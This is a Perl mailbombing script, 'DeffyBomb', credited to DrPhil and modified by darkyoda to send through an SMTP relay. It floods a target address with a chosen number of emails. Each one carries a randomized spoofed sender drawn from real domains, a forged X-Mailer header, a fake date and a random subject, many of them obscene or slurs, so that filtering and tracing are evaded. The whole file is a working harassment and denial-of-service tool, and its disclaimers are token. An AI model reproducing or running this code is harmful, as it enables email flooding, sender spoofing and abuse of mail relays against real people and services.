#!/usr/bin/perl 
#
# Deffybomb by DrPhil <phil@amigacentral.com>
# Demonstration of a perl mailbomber, including, randon name, address, subject and x-mailer.
#
# Big fix in this version, ns's would truncate fake domains onto real on, making for obvious
# leeks, made all domains real (i hope)
#
# Use this at your own risk, you must accept that i (the author)
# is not resonsible for the use of this program.
#

# -=- warped force transmission -=-
# Hello, there. I've taken DrPhil's worthy code and modded it
# slightly to use SMTP relay. Uses the Net::SMTP module, available
# from www.perl.com. Enjoy.
#
# ps mailbombing is lAAMe. I do not advocate mailbombing
# in any way, shape, or form.
#
# Shoutz: Gyves (sorry about E3), Amigans
# darkyoda 5.18.00
# -=- EOT -=-

use Net::SMTP;



$verz = "0.7.5";
($to, $amount, $msgfile, $mailhost) = @ARGV;
$count = 0;

@boysnames = ("Phil","Tom","James","Chirs","Andy","Andrew","Stuart","Mike","Alex","Jim","Ben","Rob","Mark","Ian","Iain","Nick","Nathan","Kevin","Jason","Hewyll","Sean","Simon","Leo","Alan","David","Matt","Ross","Adrian","Barry","Neil","Peter","Grant","Liam","Victor","Carl","Adam","Declan","Lee","Eric","Joe","Greg","Roger","Charles","Chas","Will","William","Harry","Burnard");
@girlsnames = ("Becky","Rebecca","Jo","Leila","Amy","Sarah","Sara","Heidi","Leanne","Lizzie","Debbie","Louise","Rachel","Anne","Ann","Sophie","Kim","Michelle","Lucy","Lynne","Emily","Emma","Abi");
@boysbeg = ("","","","","","","","","","","Mr","Mr.","Dr","Dr.");
@girlsbeg= ("","","","","","","","","","","Mrs","Mrs.","Miss","Ms.","Dr","Dr."); 
@surnames = ("Price","Graham","Allen","Hart","Jones","Smith","James","Chevis","Spragg","Burns","Rothwell","Jew","Sutherland","Cuttler","McCulluck","Hurdle","Cotton","Poole","Forrest","Bradley","Mullen","Pearson","Rawlings","Fawbet","Korhonen","Savage","Beckley","Phillips","Morgan","Bloodworth","Brohan","Bell","Thomas","Clarke","Pulley","Brown","Robson","Dyre","Edwards","Brickwell","Flint","Minnet","Hudson","Woods","Steer","Field","Maxwell","Davis","Glencross","Halford","Arnold","Young","Freer","Beams","Collins","McClean","Marley","Beckam","Keane","Furgison","Whiteside","Parker","Scott","Haynes","Winsor","Michell","Butcher","McCormic","Perry","Carter","Guard","Kinsey","Seward","Wenzel","Crowe","Wilkinson","Magnus","Parr","Buttler","Eckers","Gink","Gallager","Williams","Bull","Haram","Winsor");
@re = ("","","","","","","Re: ","Re: ","Re: ","Fw: ","Ad: ","Fwd: ");
@sub1 = ("","","","","","","","","","","","","","","","","","","","","","","","","","That ","The ","Some ");
@sub2 = ("","Information","Info","Hello","Hi","Hiya","Yo","Registration","Registering","Order","Ordering","Oi","Idea","Idea!","ISP","Internet Access","Payment","Credit-Card","admin","Winning","Winnings","Compo","Competiton","Howdy","Stuff","Fault","Faulty Order","Root","Hacking","Internet Abuse","Mail Servers","Mailbombing....","Mailbomb","Help!","I'm Stuck","Computer Games","Free Computer Games","Free Internet Access","0800","France","Holiday","French","Essay","Cousework","Perl","Online Shopping","Free Sex","Free Porn","XXX Online","Tonight","Monday Night","Friday Night","Wednesday","Work","New Job","Jobs","Online Shopping","Post your ideas","Comments","Aliens","X-Files","Southpark","Freinds","I Love you","Telephone","Love....","Cards","Paper","Science","Maths Homework","Good News!","Have you heard!?","Random","Bo Selecta!","Ali-G","Girls","Boys","Men",
"Did you?","Wassup?","Whats Happening?","Music","MP3s","Free Online Music","Hotmail","Yahoo","Your website","My website","HTML","Website help","Yes!!","No!","Go away","Happy Hacker","Microsoft","Win98","Virus Alert","Urget Virus Altert!!","Don't Open this e-mail!","Delete me","Gay sex pics you wanted","porn you wanted","Blowjob.jpg","Hardcore.jpg","gaysex69.jpg","CDRW","Magazines","Tv","Speakers","Intel","486","Free Printers","Cheap Books","ADSL","Zips","Old Photos","Baby","Baby 2","Linux","GNU","Free software","Womens Needs","Womens Weekley","Gay Sex Weekley Magazine","Transvetites Monthly","The Movement","Hide","Be Afraid","They are coming","NT server","Unix","Free Porn Mags","Wanking off","Jerk off","Windows","Free Penis","Cockworld.com","Penis Enlarging kit","Suck me off","Bitch","Slapper","Hardcore","Stupid Fucker","Hip-Hop","Chat","IRC",
"drinking","Booze","Free Beer","Up the arse","School is crap","Typing crap","Too much","Blowup dolls","Ginger Sex","Fat Sex","Old women","Granny Sex","Mining","Birds","Unreal","RanPic","Pics","Digital Camera","Last Weekend","Last night","Project","The Project","Idle Thought","Job Offer","Hi from me","Rugby Match","Football","Usage","Domain names","Free Domain names","Free .co.uk & .org.uk","Free .com & .org","Free Free Free Free","Fake","This is a fake e-mail","Some Shit","Crap","Fuck you","Slag","Ben...","Sara.....","James.......","Amy......","Andy........","Steve.........","Sam.........","Sex Story","Bender","Nicole...........","Chef","Food","Pizza","Cinema","Movies","Films","Coursework","Beetle","Juice","juices flowed everywhere.....","Boats and stuff","Spaz","Spacca","Beenez","Def","Fund","Donation","You have been mail bombed!");	
@isp = ("simply.net","fuct.net","captial.uk.com","botbox.com","21store.com","qvcuk.com","maelstrom.co.uk","homefreehome.co.uk","gayweekly.com","gay.org","lesbian.org","jungle.com","dvdworld.co.uk","rootshell.co.uk","altavista.co.uk","designerdiscount.com","brr.co.uk","vegnet.co.uk","iceland.co.uk","webwise.com","usrs.com","u-net.co.uk","legend.org.uk","ic24.net","rac.co.uk","aa.com","paranoid.com","www.hertz.co.uk","ebookers.com","kitbag.com","qxl.com","smile.co.uk","mp3.com","zoom.co.uk","btinternet.com","aol.com","ukonline.net","uklinux.net","fucker.com","fake.com","compuserver.com","pornmail.co.uk","slashdot.org","domains.com","central.com","egroups.com","bomb.net","orgasm.com","hardcoresex.com","eidos.com","demon.net","stupid.net","jam.co.uk","cdrw.com","free.org","bo.com","armpits.com",
"i.watch.tv","virgin.net","online.com","email.com","hotmail.com","yahoo.co.uk","bigfoot.com","msn.co.uk","ketchup.co.uk","media.net","pcplus.co.uk","nazi.de","sex.de","inet.com","vodka.ru","it.com","doit.com","fr.com","surf.com","freeuk.net","linuxit.net","evesham.com","bo2k.net","a-q.co.uk","names.co.uk","ali-g.com","sorta.kelly.af.mil","antionline.com","psx.co.uk","offensive.co.uk","aol-time-warner.co.uk","time-warner.com","evil.demon.co.uk","noc.net","he.net","star.co.uk","freebsd.org","l33t.com","phrozen.com","ee.com","lineone.net","fish.co.uk","amiga.org","be.com","bestsex.com","penisenlarger.com","cocksucker.co.uk","analwhores.com","clubguide.com","network.com","downtime.net","ISP.net","only.com","microsoft.com","trick.net","ob.org","softwareshack.com","tux.org","korn.net","limpbizkit.com");
@space = ("","","","","","","__","_",".");
@ender = ("","","","","","","","","","","","","","","","_US","_UK","2","1","3","4","5","00","99","2000","_sexy","_9t8",".family","_lads","_bot");
@crap = ("Thankyou for this e-mail blah blah","5398582309582050","Some nice stuff blah","And then","Random e-mail sig","sex codgers","badger","53950305","434","11","Bo!","fuck the law","fuck you","fuck fuck fuck","Mpfegfe","gkwpogkopergopiekgopekpgo");
@ran = (1..6);
@xmail = ("YAM 2.0 [040] AmigaOS E-Mail Client (c) 1995-1999 by Marcel Beck  http://www.yam.ch","Microsoft Outlook Express 5.00.2414.231","Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)","Microsoft Outlook Express 5.00.2414.231","Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)","Internet Mail Service (5.5.2650.21)","Pegasus Mail for Win32 (v3.11)","eGroups Message Poster","THOR 2.6a (Amiga;TCP/IP)","QUALCOMM Windows Eudora Pro Version 4.1","Mozilla 4.6 [en]C-SYMPA  (WinNT; U)","Microsoft Internet Mail 4.70.1155","Nmss3 Mail v0.22.4","MicroDot-II/Amiga NC 1.4.4 [NC2-#0000004D] - http://www.vapor.com/");

srand; # legacy
print "DeffyBomb v$verz by DrPhil\n";
print "-=- modded by darkyoda\n\n";

if ($#ARGV != 3) {
	print "$0 <to> <amount> [message file] <relay server>\n";
	print "Example: bill\@microsoft.com 1000 foo.txt lame.smtp.com\n";
} else {

	$mailserver = $ARGV[3];	

	print "  Executing.\n";
	print "  To:\t\t$to\n";
	print "  Amount:\t$amount\n";
	print "  Message File:\t $msgfile\n";
	print "  Sending (this may take a while)\n";

	if ($msgfile eq "" ) { @file = ("This is a totally pointless e-mail. Please delete me."); } else {
		open(FILE,"< $msgfile") or die "Cant open $msgfile";
                        @file = <FILE>;
        	close FILE;
	}
	while ($count < $amount) {
	$time = time(); $key = $time . "." . "$$";
	$tick = $tick[rand(@tick)];
	if ($tick == 1 || $tick == 2) {
		$n1 = $boysnames[rand(@boysnames)]; $n2 = $surnames[rand(@surnames)];
    		$beg = $boysbeg[rand(@boysbeg)];
    		if ($beg eq "") {
  			$from = $n1 . " " . $n2;
  		} else {
  			$from = $beg . " " . $n1 . " " . $n2;
  		}
	} else {
		$n1 = $girlsnames[rand(@girlsnames)]; $n2 = $surnames[rand(@surnames)];
    		$beg = $girlsbeg[rand(@girlsbeg)];
    		if ($beg eq "") {
  			$from = $n1 . " " . $n2;
  		} else {
  			$from = $beg . " " . $n1 . " " . $n2;
  		}
	}
    		
    		$ranid = $ran[rand(@ran)]; $fisp = $isp[rand(@isp)]; $sp = $space[rand(@space)]; $en = $ender[rand(@ender)];
    		if ($ranid == 1) {
    			$from2 = $n2 . $en . "\@";
    			$from2 = $from2 . $fisp;
    			$from2 = lc($from2);
    		} elsif ($ranid == 2) {
			$from2 = $n1 . $sp . $n2 . $en . "\@";
			$from2 = $from2 . $fisp;
			$from2 = lc($from2);	
    		} elsif ($ranid == 3) {
    			$n1 = substr($n1,0,1);
    			$from2 = $n1 . $sp . $n2 . $en . "\@";
    			$from2 = $from2 . $fisp;
    			$from2 = lc($from2);
    		} elsif ($ranid == 4) {
    			$n2 = substr($n2,0,1);	
    			$from2 = $n1 . $sp . $n2 . $en . "\@";
    			$from2 = $from2 . $fisp;
    			$from2 = lc($from2);
    		} elsif ($ranid == 5) {
    			$n1 = substr($n1,0,1);
    			$n2 = substr($n2,0,1);
    			$from2 = $n1 . $sp . $n2 . $en . "\@";
    			$from2 = $from2 . $fisp;
    			$from2 = lc($from2);
    		} elsif ($ranid == 6) {
    			$from2 = $beg . $n1 . $sp . $n2 . $en . "\@";
    			$from2 = $from2 . $fisp;
    			$from2 = lc($from2);	
    		}
		$rep = $re[rand(@re)]; $subj1 = $sub1[rand(@sub1)]; $subj2 = $sub2[rand(@sub2)];

		$smtp = Net::SMTP -> new($mailhost) || die
		"smtp: $!\n";

		$subject = $rep . $subj1 . $subj2;
	
		$smtp -> mail($ENV{USER});
		$smtp -> to ($to);
		$smtp -> data();
		$smtp -> datasend("From: $from2 ($from)\n");
		$smtp -> datasend("Reply-To: $from2\n");
		$smtp -> datasend("To: $to (Mailing List Entry\: $key)\n");
		$smtp -> datasend("Subject: $subject\n");
		$smtp -> datasend("Date: Wed, 1 Jan 2039 00:00:01 -0000\n");
		$smtp -> datasend("MIME-Version: 1.0\n");
		$smtp -> datasend("X-Mailer: $xmail[rand(@xmail)];\n");
		$smtp -> datasend("Content-Type: text/plain\n");
		$smtp -> datasend("\n");
		foreach $line (@file) {
			$smtp -> datasend($line); 
			}

		$smtp -> datasend("\n\n");
		$smtp -> datasend($crap[rand(@crap)] . "\n" . $key . "\n");
		$smtp -> datasend("\n");
		$smtp -> dataend();
		$smtp -> quit;
		$count++;
	}
	print "  $count mails sent\n  All done \n"; exit(0);
}

